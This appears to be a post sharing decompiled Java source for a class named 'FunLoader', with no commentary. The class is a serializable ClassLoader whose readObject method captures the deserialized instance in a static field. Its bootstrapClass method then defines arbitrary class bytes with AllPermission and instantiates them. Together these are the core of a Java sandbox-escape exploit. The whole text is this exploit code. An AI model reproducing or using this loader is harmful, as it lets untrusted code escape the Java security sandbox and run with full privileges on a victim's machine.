java .class

Code:

package fun;

import java.io.*;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

public class FunLoader extends ClassLoader
    implements Serializable
{

    public FunLoader()
    {
    }

    private void writeObject(ObjectOutputStream objectoutputstream)
        throws IOException, ClassNotFoundException
    {
        objectoutputstream.defaultWriteObject();
    }

    private void readObject(ObjectInputStream objectinputstream)
        throws IOException, ClassNotFoundException
    {
        System.out.println("I am here");
        sharedLoader = this;
        objectinputstream.defaultReadObject();
    }

    public void bootstrapClass(String s, InputStream inputstream, boolean flag)
        throws IOException
    {
        ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStream();
        byte abyte0[] = new byte[1024];
        int i;
        while((i = inputstream.read(abyte0)) > 0) 
            bytearrayoutputstream.write(abyte0, 0, i);
        byte abyte1[] = bytearrayoutputstream.toByteArray();
        Certificate acertificate[] = new Certificate[0];
        URL url = new URL("file:///");
        Permissions permissions = new Permissions();
        permissions.add(new AllPermission());
        Class class1 = defineClass(s, abyte1, 0, abyte1.length, new ProtectionDomain(new CodeSource(url, acertificate), permissions));
        try
        {
            if(flag)
                class1.newInstance();
        }
        catch(Exception exception)
        {
            throw new IOException((new StringBuilder()).append("Class instantiation failed: ").append(exception).toString(), exception);
        }
    }

    private static final long serialVersionUID = 0x5e8b4c67ddc409d8L;
    public static FunLoader sharedLoader = null;

}